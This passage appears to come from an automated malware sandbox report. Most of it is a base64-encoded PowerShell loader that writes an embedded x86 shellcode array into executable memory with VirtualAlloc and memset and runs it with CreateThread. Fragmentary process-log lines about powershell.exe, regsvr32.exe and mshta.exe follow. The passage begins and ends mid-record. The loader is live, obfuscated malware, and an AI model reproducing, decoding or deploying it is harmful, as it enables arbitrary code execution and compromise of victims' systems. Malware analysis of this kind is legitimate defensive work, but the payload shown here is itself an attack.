eEMxLDB4RTAsMHgwMiwweDAzLDB4RDAsMHg4QiwweDAyLDwjb290Iz4weDAzLDB4QzMsMHg4OSwweDQ1LDB4QjAsMHg4MSw8I3pheCM+MHgzOSwweDUyLDB4NjUsMHg2NywweDUxLDB4NzUsMHg1RSwweDhELDB4NDEsMHgwNCwweDgxLDB4MzgsMHg3NSwweDY1LDB4NzIsMHg3OSwweDc1LDB4NTMsMHg4RCwweDQxLDB4MDgsMHg4MSwweDM4LDwjZWEjPjB4NTYsMHg2MSwweDZDLDB4NzUsMHg3NSwweDQ4LDwjc2VyIz4weDhELDB4NDEsMHgwQywweDgxLDB4MzgsMHg2NSwweDQ1LDwjc2QjPjB4NzgsMHg0MSwweDc1LDwjcWtqIz4weDNELDB4ODMsMHhDMSwweDEwLDB4ODAsMHgzOSwweDAwLDB4NzUsMHgzNSwweDhCLDB4NDUsMHhDQywweDhCLDB4NDAsMHgyNCw8I2x4dSM+MHgwMywweEMzLDB4MzMsMHhEMiwweDUyLDB4NTAsMHg4QiwweEM2LDB4MDMsMHhDMCwweDk5LDB4MDMsMHgwNCwweDI0LDB4MTMsMHg1NCwweDI0LDB4MDQsMHg4MywweEM0LDB4MDgsMHg2NiwweDhCLDB4MDAsMHg4QiwweDU1LDB4Q0MsMHg4QiwweDUyLDB4MUMsMHgwMyw8I2Z3ciM+MHhEMywweDBGLDwjd2dkIz4weEI3LDB4QzAsMHhDMSwweEUwLDB4MDIsPCNkcCM+MHgwMyw8I3Z3cSM+MHhEMCwweDhCLDB4MDIsMHgwMywweEMzLDB4ODksMHg0NSwweEFDLDB4NDYsMHhGRiw8I2plYSM+MHg4RCw8I2toIz4weDNDLDB4RkYsPCNuYSM+MHhGRiwweEZGLDB4MEYsMHg4NSwweEZDLDB4RkUsMHhGRiwweEZGLDB4OEIsMHg0NSwweDA4LDB4MDUsMHg0OCwweDBBLDB4MDAsMHgwMCwweDg5LDwjZGx0Iz4weDg1LDB4N0MsMHhGRiwweEZGLDB4RkYsMHg4QiwweDg1LDB4N0MsMHhGRiwweEZGLDB4RkYsMHgwNSwweEU0LDwjY24jPjB4MDAsMHgwMCwweDAwLDB4ODksMHg4NSwweDc4LDB4RkYsMHhGRiwweEZGLDB4MzMsMHhEQiwweDMzLDB4QzAsMHg4OSwweDg1LDB4NjQsMHhGRiwweEZGLDB4RkYsMHgzMywweEMwLDB4ODksMHg4NSw8I2doayM+MHg2MCwweEZGLDB4RkYsMHhGRiwweDhELDB4ODUsMHg3MCwweEZGLDB4RkYsMHhGRiwweDUwLDB4NkEsMHgwMSwweDZBLDB4MDAsMHg4QiwweDg1LDB4N0MsMHhGRiwweEZGLDB4RkYsPCNneCM+MHg1MCwweDY4LDB4MDIsMHgwMCwweDAwLDB4ODAsMHhGRiwweDU1LDB4QjAsMHg4NSwweEMwLDB4MEYsMHg4NSwweDg2LDB4MDAsMHgwMCwweDAwLDB4OEQsMHg4NSwweDYwLDB4RkYsMHhGRiw8I2pvIz4weEZGLDB4NTAsMHg2QSwweDAwLDB4OEQsMHg4NSwweDZDLDB4RkYsMHhGRiwweEZGLDB4NTAsMHg2QSwweDAwLDB4OEIsMHg4NSwweDdDLDB4RkYsMHhGRiwweEZGLDB4ODMsPCNrb3YjPjB4QzAsMHg0MSwweDUwLDB4OEIsMHg4NSwweDcwLDB4RkYsMHhGRiwweEZGLDB4NTAsMHhGRiwweDU1LDB4QUMsMHg4NSwweEMwLDB4NzUsMHg1QywweDgzLDwjcHBjIz4weEJELDB4NjAsMHhGRiwweEZGLDB4RkYsMHg2NCwweDc2LDB4NTMsPCN5ZSM+MHg2QSwweDQwLDB4NjgsPCNidm8jPjB4MDAsMHgzMCwweDAwLDB4MDAsMHg4QiwweDg1LDB4NjAsMHhGRiwweEZGLDB4RkYsMHg1MCwweDZBLDB4MDAsMHhGRiwweDU1LDB4QTgsMHg4OSwweDg1LDwja2x5Iz4weDY0LDB4RkYsMHhGRiwweEZGLDwjY2ojPjB4ODMsPCN1dWojPjB4QkQsMHg2NCwweEZGLDB4RkYsMHhGRiwweDAwLDB4NzQsMHgzMSwweDhELDB4ODUsMHg2MCwweEZGLDB4RkYsMHhGRiwweDUwLDB4OEIsPCNveWEjPjB4ODUsMHg2NCwweEZGLDB4RkYsPCNqd2sjPjB4RkYsMHg1MCw8I3V2Iz4weDhELDB4ODUsMHg2QywweEZGLDB4RkYsMHhGRiw8I2p2ayM+MHg1MCw8I29seCM+MHg2QSwweDAwLDB4OEIsMHg4NSwweDdDLDB4RkYsMHhGRiwweEZGLDB4ODMsMHhDMCwweDQxLDB4NTAsMHg4QiwweDg1LDB4NzAsMHhGRiwweEZGLDB4RkYsMHg1MCwweEZGLDB4NTUsMHhBQywweDg1LDB4QzAsMHg3NSwweDAyLDB4QjMsMHgwMSwweDMzLDB4QzAsMHg4OSwweDg1LDB4NzAsMHhGRiwweEZGLDB4RkYsMHg4NCwweERCLDB4MEYsMHg4NSwweEI4LDB4MDAsPCNxanEjPjB4MDAsMHgwMCwweDMzLDB4QzAsMHg4OSwweDg1LDB4NjQsMHhGRiwweEZGLDB4RkYsMHgzMywweEMwLDB4ODksMHg4NSwweDYwLDB4RkYsMHhGRiwweEZGLDB4OEQsMHg4NSwweDcwLDB4RkYsMHhGRiwweEZGLDB4NTAsMHg2QSwweDAxLDB4NkEsMHgwMCwweDhCLDB4ODUsMHg3QywweEZGLDB4RkYsMHhGRiwweDUwLDB4NjgsMHgwMSwweDAwLDB4MDAsMHg4MCw8I3ZzcSM+MHhGRiwweDU1LDB4QjAsMHg4NSwweEMwLDB4MEYsMHg4NSwweDg2LDB4MDAsMHgwMCwweDAwLDB4OEQsMHg4NSwweDYwLDB4RkYsMHhGRiwweEZGLDB4NTAsMHg2QSwweDAwLDB4OEQsMHg4NSwweDZDLDB4RkYsMHhGRiwweEZGLDB4NTAsMHg2QSwweDAwLDB4OEIsMHg4NSwweDdDLDB4RkYsMHhGRiwweEZGLDB4ODMsMHhDMCwweDQxLDB4NTAsMHg4QiwweDg1LDB4NzAsMHhGRiwweEZGLDB4RkYsMHg1MCwweEZGLDB4NTUsMHhBQywweDg1LDB4QzAsMHg3NSwweDVDLDB4ODMsMHhCRCwweDYwLDB4RkYsMHhGRiwweEZGLDB4NjQsMHg3NiwweDUzLDB4NkEsMHg0MCwweDY4LDB4MDAsPCNzdCM+MHgzMCw8I3p4Iz4weDAwLDB4MDAsMHg4QiwweDg1LDwjenFiIz4weDYwLDB4RkYsMHhGRiwweEZGLDB4NTAsMHg2QSwweDAwLDB4RkYsMHg1NSwweEE4LDB4ODksMHg4NSwweDY0LDB4RkYsMHhGRiwweEZGLDB4ODMsMHhCRCwweDY0LDB4RkYsMHhGRiw8I3pmayM+MHhGRiwweDAwLDB4NzQsMHgzMSwweDhELDB4ODUsMHg2MCwweEZGLDB4RkYsMHhGRiwweDUwLDB4OEIsMHg4NSwweDY0LDB4RkYsMHhGRiwweEZGLDB4NTAsMHg4RCwweDg1LDB4NkMsMHhGRiwweEZGLDB4RkYsMHg1MCwweDZBLDB4MDAsMHg4QiwweDg1LDB4N0MsMHhGRiwweEZGLDB4RkYsMHg4MywweEMwLDB4NDEsMHg1MCwweDhCLDB4ODUsMHg3MCw8I3ZsIz4weEZGLDwjeHcjPjB4RkYsMHhGRiwweDUwLDB4RkYsMHg1NSwweEFDLDB4ODUsMHhDMCwweDc1LDB4MDIsMHhCMyw8I2trdiM+MHgwMSwweDg0LDB4REIsMHg3NSw8I3l5ZCM+MHgwNSwweDZBLDB4MDAsMHhGRiwweDU1LDB4QTQsMHg4QiwweDg1LDB4N0MsMHhGRiwweEZGLDwjc3RyIz4weEZGLDB4OEIsMHg4MCwweERDLDB4MDAsMHgwMCwweDAwLDB4NTAsMHg4QiwweDg1LDB4N0MsMHhGRiwweEZGLDB4RkYsMHg4MywweEMwLDB4NTIsMHg1MCwweDhELDB4ODUsMHgwMCwweEZBLDB4RkYsMHhGRiwweDUwLDB4RkYsMHg5NSwweDc4LDB4RkYsMHhGRiwweEZGLDB4MzMsMHhGNiwweDhELDB4OEQsMHgwMCwweEZCLDB4RkYsMHhGRiwweDg5LDB4MzEsMHg0NiwweDgzLDB4QzEsMHgwNCwweDgxLDB4RkUsMHgwMCwweDAxLDB4MDAsMHgwMCwweDc1LDB4RjIsMHgzMywweERCLDB4MzMsMHhGNiwweDhELDB4OEQsMHgwMCwweEZCLDB4RkYsMHhGRiwweDAzLDB4MTksMHg4QiwweDg1LDB4N0MsMHhGRiw8I2JubCM+MHhGRiwweEZGLDB4RkYsPCN2cmgjPjB4QjAsMHhEQywweDAwLDB4MDAsMHgwMCwweDhCLDB4QzYsMHg1QSwweDhCLDB4RkEsMHgzMywweEQyLDB4RjcsMHhGNywweDMzLDB4QzAsPCNldSM+MHg4QSwweDg0LDB4MTUsMHgwMCwweEZBLDB4RkYsMHhGRiwweDAzLDB4RDgsMHg4MSwweEUzLDB4RkYsMHgwMCwweDAwLDB4MDAsMHg4QSwweDAxLDB4OEIsMHg5NCwweDlELDB4MDAsMHhGQiwweEZGLDB4RkYsMHg4OSwweDExLDB4MjUsMHhGRiwweDAwLDB4MDAsMHgwMCwweDg5LDB4ODQsMHg5RCwweDAwLDB4RkIsMHhGRiwweEZGLDB4NDYsMHg4MywweEMxLDB4MDQsMHg4MSwweEZFLDB4MDAsMHgwMSwweDAwLDwjaXYjPjB4MDAsMHg3NSwweEI1LDB4MzMsMHhEQiwweDMzLDB4RkYsMHg2QSwweDQwLDB4NjgsMHgwMCwweDMwLDB4MDAsMHgwMCwweDhCLDB4ODUsMHg2MCwweEZGLDB4RkYsMHhGRiwweDUwLDB4NkEsMHgwMCwweEZGLDB4NTUsMHhBOCwweDg5LDB4ODUsMHg1QywweEZGLDB4RkYsMHhGRiwweDgzLDB4QkQsMHg1QywweEZGLDB4RkYsMHhGRiwweDAwLDB4NzQsMHgyOSwweDhCLDB4ODUsMHg1QywweEZGLDB4RkYsMHhGRiwweDg5LDB4ODUsMHg0QywweEZGLDB4RkYsMHhGRiwweDhCLDB4ODUsMHg2MCwweEZGLDB4RkYsMHhGRiwweDUwLDB4OEIsMHg4NSwweDY0LDB4RkYsMHhGRiwweEZGLDB4NTAsMHg4QiwweDg1LDB4NEMsMHhGRiwweEZGLDB4RkYsMHg1MCwweEZGLDB4OTUsMHg3OCwweEZGLDB4RkYsMHhGRiwweEVCLDB4MDUsMHg2QSwweDAwLDB4RkYsMHg1NSwweEE0LDB4OEIsMHg4NSwweDYwLDB4RkYsMHhGRiwweEZGLDB4NDgsMHg4NSw8I2x1Iz4weEMwLDB4NzIsPCN1YiM+MHg3NCw8I3BlIz4weDQwLDB4ODksMHg4NSwweDNDLDB4RkYsMHhGRiwweEZGLDB4MzMsMHhGNiwweDQzLDB4ODEsMHhFMywweEZGLDB4MDAsMHgwMCwweDAwLDB4MDMsMHhCQywweDlELDB4MDAsMHhGQiwweEZGLDB4RkYsMHg4MSwweEU3LDB4RkYsMHgwMCwweDAwLDB4MDAsMHg4QSwweDg0LDB4OUQsMHgwMCwweEZCLDB4RkYsMHhGRiwweDhCLDwjemojPjB4OTQsMHhCRCwweDAwLDB4RkIsMHhGRiwweEZGLDB4ODksMHg5NCwweDlELDB4MDAsMHhGQiwweEZGLDB4RkYsMHgyNSwweEZGLDB4MDAsPCNqZyM+MHgwMCwweDAwLDB4ODksMHg4NCwweEJELDB4MDAsMHhGQiwweEZGLDB4RkYsMHg4QiwweDg1LDB4NEMsMHhGRiwweEZGLDB4RkYsMHg4QSwweDA0LDB4MzAsMHg4QiwweDk0LDB4OUQsMHgwMCwweEZCLDB4RkYsMHhGRiwweDAzLDB4OTQsMHhCRCwweDAwLDB4RkIsMHhGRiwweEZGLDB4ODEsMHhFMiwweEZGLDB4MDAsMHgwMCwweDAwLDB4MzIsMHg4NCwweDk1LDwjdmxkIz4weDAwLDB4RkIsMHhGRiw8I2NzIz4weEZGLDB4OEIsMHg5NSwweDRDLDB4RkYsMHhGRiwweEZGLDB4ODgsMHgwNCwweDMyLDwjdXNyIz4weDQ2LDB4RkYsMHg4RCwweDNDLDB4RkYsMHhGRiwweEZGLDB4NzUsMHg5NSwweDhCLDB4ODUsMHg0QywweEZGLDB4RkYsMHhGRiw8I2txYiM+MHg4OSwweDQ1LDB4RDQsMHg4QiwweDQ1LDB4RDQsMHg2NiwweDgxLDB4MzgsPCNoZGgjPjB4NEQsMHg1QSwweDBGLDB4ODUsMHhEQSwweDAyLDB4MDAsMHgwMCwweDhCLDwjd3NrIz4weDQ1LDB4RDQsMHg4QiwweDQwLDB4M0MsMHgwMywweDg1LDB4NEMsPCNiZSM+MHhGRiwweEZGLDB4RkYsMHg4OSwweDQ1LDB4RDAsMHg4QiwweDQ1LDB4RDAsMHg4MSwweDM4LDB4NTAsMHg0NSwweDAwLDB4MDAsMHgwRiwweDg1LDB4QkMsPCNlZCM+MHgwMiwweDAwLDB4MDAsMHg4QiwweDQ1LDwjZGojPjB4RDAsMHg4QiwweDU4LDB4NTAsMHgwMyw8I2NrYiM+MHhEQiw8I3pyeiM+MHg2QSwweDQwLDB4NjgsMHgwMCwweDMwLDB4MDAsMHgwMCwweDUzLDwjanNvIz4weDZBLDB4MDAsMHhGRiwweDU1LDB4QTgsPCN6eSM+MHg4OSwweDQ1LDB4RjgsMHg4MywweDdELDwjdndqIz4weEY4LDB4MDAsMHgwRiwweDg0LDB4OUEsMHgwMiwweDAwLDB4MDAsMHg4QiwweDQ1LDB4RDAsMHg4QiwweDQwLDB4NTQsMHg1MCwweDhCLDwjenV6Iz4weDg1LDB4NEMsMHhGRiwweEZGLDB4RkYsMHg1MCwweDhCLDwjcGZrIz4weDQ1LDB4RjgsMHg1MCw8I2tsIz4weEZGLDB4OTUsMHg3OCwweEZGLDB4RkYsMHhGRiw8I2p5diM+MHg2QSwweDA0LDB4OEIsMHg4NSwweDdDLDB4RkYsMHhGRiwweEZGLDB4MDUsMHhFMCwweDAwLDB4MDAsPCNka2cjPjB4MDAsMHg1MCwweDhCLDB4NDUsMHhEMCwweDhCLDB4NDAsMHg1MCwweDAzLDB4NDUsMHhGOCwweDUwLDB4RkYsMHg5NSwweDc4LDB4RkYsMHhGRiwweEZGLDB4OEIsMHg4NSwweDdDLDB4RkYsMHhGRiwweEZGLDB4OEIsMHg4MCwweEUwLDB4MDAsMHgwMCwweDAwLDB4NTAsMHg4QiwweDg1LDB4NEMsPCNmeG0jPjB4RkYsMHhGRiwweEZGLDB4NTAsMHg4QiwweDQ1LDB4RDAsMHg4QiwweDQwLDB4NTAsMHgwMywweDQ1LDB4RjgsMHg4MywweEMwLDB4MDQsMHg1MCwweEZGLDB4OTUsMHg3OCwweEZGLDB4RkYsMHhGRiwweDZBLDB4NjAsMHg4QiwweDg1LDB4N0MsMHhGRiwweEZGLDB4RkYsMHg4MywweEMwLDB4N0EsMHg1MCwweDhCLDB4NDUsMHhEMCwweDhCLDB4NDAsMHg1MCwweDAzLDwjeGQjPjB4NDUsMHhGOCwweDgzLDB4QzAsMHgwNCwweDhCLDB4OTUsMHg3QywweEZGLDB4RkYsMHhGRiwweDAzLDB4ODIsMHhFMCwweDAwLDB4MDAsMHgwMCwweDUwLDB4RkYsMHg5NSwweDc4LDB4RkYsMHhGRiwweEZGLDB4OEIsMHg0NSwweEQwLDB4MEYsMHhCNywweDQwLDB4MDYsMHg0OCwweDg1LDB4QzAsPCNoZiM+MHg3QywweDVGLDwjY2sjPjB4NDAsMHg4OSwweDg1LDB4M0MsMHhGRiwweEZGLDB4RkYsMHgzMywweEY2LDB4OEIsPCNndiM+MHg1NSwweEQ0LDB4OEIsMHg1MiwweDNDLDB4OEIsMHg4NSwweDRDLDB4RkYsMHhGRiwweEZGLDB4MDMsPCNmZWMjPjB4RDAsMHg4MSwweEMyLDB4RjgsMHgwMCwweDAwLDB4MDAsMHg4QiwweENFLDB4QzEsMHhFMSwweDAzLDB4OEQsMHgwQywweDg5LDB4MDMsMHhEMSwweDg5LDB4OTUsMHg1MCwweEZGLDB4RkYsMHhGRiwweDhCLDB4OTUsMHg1MCwweEZGLDB4RkYsMHhGRiwweDhCLDB4NTIsMHgxMCwweDUyLDB4OEIsMHg5NSw8I2dmIz4weDUwLDB4RkYsMHhGRiwweEZGLDB4OEIsMHg1MiwweDE0LDB4MDMsMHhEMCwweDUyLDB4OEIsMHg4NSwweDUwLDB4RkYsMHhGRiw8I3hsIz4weEZGLDB4OEIsMHg0MCwweDBDLDB4MDMsMHg0NSwweEY4LDwjYmhrIz4weDUwLDB4RkYsMHg5NSwweDc4LDB4RkYsMHhGRiwweEZGLDB4NDYsMHhGRiwweDhELDB4M0MsPCN5bHcjPjB4RkYsMHhGRiwweEZGLDB4NzUsMHhBQSw8I2FkIz4weDhCLDB4NDUsMHhEMCwweDhCLDB4NDAsMHgzNCwweDNCLDB4NDUsMHhGOCwweDBGLDB4ODQsMHhDQiwweDAwLDB4MDAsPCNvYSM+MHgwMCwweDhCLDB4NDUsPCN1ayM+MHhEMCwweDhCLDB4NTUsMHhGOCwweDJCLDB4NTAsMHgzNCwweDg5LDB4NTUsMHhEOCwweDhCLDB4NDUsMHhGOCwweDg5LDB4NDUsMHhGMCw8I25oeCM+MHg4QiwweDQ1LDB4RDAsMHg4MywweEI4LDB4QTQsMHgwMCwweDAwLDB4MDAsMHgwMCwweDBGLDB4ODYsMHg4NywweDAwLDB4MDAsMHgwMCwweDhCLDB4NDUsMHhEMCwweDhCLDwjY3cjPjB4ODAsMHhBMCwweDAwLDwjYmtwIz4weDAwLDB4MDAsMHgwMywweDQ1LDB4RjAsPCN3ZmYjPjB4ODksMHg0NSwweEVDLDB4RUIsMHg2RSwweDhCLDB4NDUsMHhFQywweDhCLDB4MDAsMHgwMywweDQ1LDB4RjAsMHg4OSwweDQ1LDwjdWprIz4weEU4LDwjaXhzIz4weDhCLDB4NDUsMHhFQywweDgzLDB4QzAsMHgwOCwweDg5LDB4NDUsMHhFNCwweDhCLDB4NDUsMHhFQywweDhCLDB4NDAsMHgwNCwweDgzLDB4RTgsPCN6YXUjPjB4MDgsMHhEMSwweEU4LDwjbmojPjB4NDgsMHg4NSwweEMwLDwjbHkjPjB4NzIsMHgzRSwweDQwLDB4ODksMHg4NSwweDNDLDB4RkYsMHhGRiwweEZGLDwjYWQjPjB4OEIsMHg0NSwweEU0LDB4NjYsMHg4Qiw8I2dlcyM+MHgxMCwweDBGLDB4QjcsMHhDMiwweEMxLDB4RTgsMHgwQywweDhCLDB4Q0EsMHg2NiwweDgxLDB4RTEsMHhGRiwweDBGLDB4MEYsMHhCNywweEM5LDB4ODMsMHhGOCwweDAzLDB4NzUsMHgxMCwweDhCLDwjcmF4Iz4weDQ1LDB4RTgsMHgwMywweEMxLDB4ODksMHg0NSwweEUwLDB4OEIsMHg0NSwweEUwLDB4OEIsMHg1NSwweEQ4LDB4MDEsMHgxMCwweDgzLDB4NDUsMHhFNCwweDAyLDB4RkYsMHg4RCwweDNDLDB4RkYsMHhGRiwweEZGLDB4NzUsMHhDOSwweDhCLDB4NDUsMHhFQywweDhCLDB4NDAsMHgwNCwweDAzLDB4NDUsMHhFQyw8I29rIz4weDg5LDB4NDUsMHhFQywweDhCLDB4NDUsMHhFQywweDgzLDwjbGsjPjB4MzgsMHgwMCw8I3VuIz4weDc3LDB4OEEsPCN6byM+MHg4QiwweDQ1LDB4RDAsMHg4QiwweDU1LDB4RjgsMHg4OSwweDUwLDB4MzQsMHg2OCwweEY4LDB4MDAsPCN5eGsjPjB4MDAsMHgwMCwweDhCLDB4NDUsMHhEMCwweDUwLDB4OEIsMHg0NSwweEQ0LDB4OEIsMHg0MCw8I2VmZSM+MHgzQywweDAzLDB4NDUsMHhGOCwweDUwLDB4RkYsMHg5NSwweDc4LDB4RkYsMHhGRiwweEZGLDB4OEIsMHg0NSwweEQwLDB4MDUsPCNkcCM+MHg4MCwweDAwLDB4MDAsMHgwMCwweDg5LDB4NDUsMHg5MCwweDhCLDB4NDUsMHg5MCwweDgzLDB4NzgsMHgwNCwweDAwLDB4MEYsMHg4NiwweDlFLDwjYWZuIz4weDAwLDwjYmQjPjB4MDAsMHgwMCwweDhCLDB4NDUsMHhEMCw8I3p6ciM+MHg4QiwweDgwLDwjZmgjPjB4ODAsMHgwMCwweDAwLDB4MDAsMHgwMywweDQ1LDB4RjgsMHg4OSwweDQ1LDB4OEMsMHhFQiwweDdGLDB4MDMsMHg3RCwweEY4LDB4NTcsMHhGRiw8I2hkZSM+MHg1NSw8I2NsIz4weEJDLDB4OEIsPCNjeCM+MHhEOCwweDg1LDB4REIsMHg3NCwweDcyLDB4OEIsMHg0NSwweDhDLDB4ODMsMHgzOCwweDAwLDB4NzQsMHgwRCwweDhCLDB4NDUsMHg4QywweDhCLDB4MDAsMHgwMyw8I3ZlIz4weDQ1LDB4RjgsMHg4OSwweDQ1LDB4ODgsMHhFQiw8I3NjaCM+MHgwQywweDhCLDB4NDUsMHg4QywweDhCLDB4NDAsMHgxMCwweDAzLDB4NDUsPCNqbHUjPjB4RjgsMHg4OSwweDQ1LDB4ODgsMHg4QiwweDQ1LDB4OEMsMHg4QiwweDQwLDB4MTAsMHgwMyw8I211Iz4weDQ1LDB4RjgsMHg4OSwweDQ1LDB4ODQsMHhFQiw8I3R2aSM+MHgzNywweDhCLDB4NDUsMHg4OCwweDhCLDB4MzAsMHhGNyw8I3ByeiM+MHhDNiwweDAwLDB4MDAsMHgwMCwweDgwLDB4NzQsMHgxMiwweDgxLDB4RTYsMHhGRiwweEZGLDB4MDAsMHgwMCwweDU2LDB4NTMsMHhGRiwweDU1LDB4QjgsMHg4QiwweDU1LDB4ODQsMHg4OSwweDAyLDwjdGIjPjB4RUIsPCNpcSM+MHgxMCw8I2p5dCM+MHgwMywweDc1LDB4RjgsMHg4MywweEM2LDB4MDIsMHg1NiwweDUzLDB4RkYsMHg1NSwweEI4LDB4OEIsMHg1NSwweDg0LDwjdGV3Iz4weDg5LDB4MDIsMHg4MywweDQ1LDB4ODgsMHgwNCwweDgzLDB4NDUsMHg4NCwweDA0LDB4OEIsMHg0NSwweDg4LDB4ODMsMHgzOCwweDAwLDB4NzUsMHhDMSwweDgzLDB4NDUsMHg4QywweDE0LDB4OEIsMHg0NSw8I3hmeiM+MHg4Qyw8I2NieCM+MHg4QiwweDc4LDB4MEMsPCN6cmMjPjB4ODUsMHhGRiwweDBGLDB4ODUsMHg3MywweEZGLDB4RkYsMHhGRiwweDhCLDB4NDUsPCNlaCM+MHhEMCwweDhCLDB4NDAsMHgyOCwweDAzLDB4NDUsMHhGOCwweDg5LDwjem56Iz4weDQ1LDB4RjQsMHgzMSwweEMwLDB4NTAsMHg2QSwweDAxLDB4RkYsMHg3NSw8I3ByIz4weEY4LDB4RkYsMHg1NSwweEY0LDB4NkEsMHgwMCwweEZGLDB4NTUsMHhBNCwweDVGLDB4NUUsMHg1QiwweDhCLDB4RTUsMHg1RCwweEMyLDB4MDQsMHgwMCwweDhELDB4NDAsMHgwMCwweDczLDB4NkYsMHg2NiwweDc0LDB4NzcsMHg2MSwweDcyLDwjeXcjPjB4NjUsMHg1Qyw8I2JxIz4weDYzLDB4NkUsMHg1MCwweDM5LDB4NzQsMHgzNSwweDVBLDB4NDUsMHgwMCwweDAwLDB4MDAsPCNuayM+MHgwMCw8I3RwIz4weDAwLDB4MDAsPCNjaCM+MHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCw8I2NzdCM+MHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCw8I2ZhIz4weDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4NTcsMHg0MywweDZCLDwjZHZqIz4weDY3LDB4NUEsMHg0RSwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg2RCwweDI4LDB4RjYsMHg5RCwweEJELDB4NzAsMHhBOSwweDI0LDB4RDAsMHgzNCwweDZELDB4NTUsMHhGOCwweDgzLDB4NzgsMHg3QywweDc5LDB4NzIsMHhFOCwweDZFLDB4QjcsMHhERCwweDAxLDB4MEYsMHhCNCwweDU2LDB4MzgsMHhCQiwweDIxLDB4NEYsMHg5RSwweDAwLDB4MDAsMHgwMCwweDAwLDwja3gjPjB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDczLDwjd2IjPjB4MDAsMHg2OCwweDAwLDB4NjUsMHgwMCwweDZDLDB4MDAsMHg2QywweDAwLDB4M0MsMHgwMCwweDNDLDB4MDAsMHgzQSwweDAwLDB4M0EsMHgwMCwweDNFLDB4MDAsMHgzRSwweDAwLDB4NzMsMHgwMCwweDY4LDB4MDAsMHg2NSwweDAwLDwjcXgjPjB4NkMsMHgwMCwweDZDLDB4MDAsPCNiaiM+MHg2MiwweDAwLDB4NzAsMHgwMCwweDczLDB4MDAsPCNqZ2EjPjB4M0EsMHgwMCwweDNBLDB4MDAsMHg2MiwweDAwLDB4NzAsMHgwMCwweDczLDB4MDAsMHg2RSwweDAwLDB4NzUsMHgwMCwweDZELDB4MDAsMHgzQSwweDAwLDB4MzgsMHgwMCwweDM2LDB4MDAsMHgzNCwweDAwLDB4M0EsMHgwMCwweDZFLDB4MDAsMHg3NSwweDAwLDB4NkQsMHgwMCwweDAwLDB4MDAsMHgwMCw8I2hyIz4weDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCw8I2V0ZiM+MHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDFGLDB4MDAsMHgwMCw8I2t5Iz4weDAwLDB4MDAsMHhBQSwweDA2LDB4MDAsMHg1NSwweDhCLDB4RUMsMHg2MCwweDhCLDB4N0QsMHgwOCw8I2d0biM+MHg4QiwweDc1LDB4MEMsMHg4QiwweDRELDB4MTAsMHhGMywweEE0LDB4NjEsMHg1RCwweEMyLDB4MEMsMHgwMCwweEFDLDB4MTIsPCNkc3UjPjB4RDIsMHhGRSwweEZELDwjeXlmIz4weDhDLDB4RUYsMHg5MCwweDkzLDB4QjksMHhFOCwweDA1LDB4MDUsMHhBMCwweDBCLDwjYnF2Iz4weEJFLDB4NTEsMHg1MCwweEIxLDB4NTIsMHgwQSw8I3h0diM+MHhDRCwweEE2LDB4MEIsMHg3MiwweEYzLDB4OTksMHgxOCwweEI1LDB4QTUsMHhGMSwweDI5LDB4NzAsMHhCMiwweDQ5LDB4OUYsMHgyMiwweDQwLDB4NTMsMHhCNSwweDRGLDB4OUUsMHgwRiwweDJBLDB4NjEsMHhEOCwweDczLDB4NUUsMHg4QiwweDZGLDB4MEIsMHhFQiwweDRGLDB4RkIsMHgxNCwweDI3LDB4NTY8I3d0Iz47DQojbHZ2d2xvDQokcHI9KFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKChncHJvYyBrZXJuZWwzMi5kbGwgVmlydHVhbEFsbG9jKSwoZ2RlbGVnYXRlIEAoW0ludFB0cl0sW1VJbnQzMl0sW1VJbnQzMl0sW1VJbnQzMl0pIChbVUludDMyXSkpKSkuSW52b2tlKDAsJHNjMzIuTGVuZ3RoLDB4MzAwMCwweDQwKTsNCiNxZ3RkZnRwcnNtDQppZigkcHIgLW5lIDApeyRtZW1zZXQ9KFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKChncHJvYyBtc3ZjcnQuZGxsIG1lbXNldCksKGdkZWxlZ2F0ZSBAKFtVSW50MzJdLFtVSW50MzJdLFtVSW50MzJdKSAoW0ludFB0cl0pKSkpOw0KI2xlZmJtDQpmb3IgKCRpPTA7JGkgLWxlICgkc2MzMi5MZW5ndGgtMSk7JGkrKykgeyRtZW1zZXQuSW52b2tlKCgkcHIrJGkpLCAkc2MzMlskaV0sIDEpfTsNCiNmZ2FrZGQNCihbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigoZ3Byb2Mga2VybmVsMzIuZGxsIENyZWF0ZVRocmVhZCksKGdkZWxlZ2F0ZSBAKFtJbnRQdHJdLFtVSW50MzJdLFtVSW50MzJdLFtVSW50MzJdLFtVSW50MzJdLFtJbnRQdHJdKSAoW0ludFB0cl0pKSkpLkludm9rZSgwLDAsJHByLCRwciwwLDApOw0KI3ZkZ3Nnd3QNCn1zbGVlcCgxMjAwKTt9Y2F0Y2h7fWV4aXQ7DQojemprdm5lbXFqDQoja2Fra25ncGx2a2x1c21mcmdlY2ZubnNqbHANCg==')))"" Process "powershell.exe" (UID: 00012863-00004380) was launched with modified environment variables: "Path" Process "regsvr32.exe" (UID: 00014346-00003588) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "regsvr32.exe" (UID: 00014346-00003588) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, PSModulePath, CommonProgramFiles, ProgramFiles"2c:T49fa,Spawned process "mshta.exe" with commandline 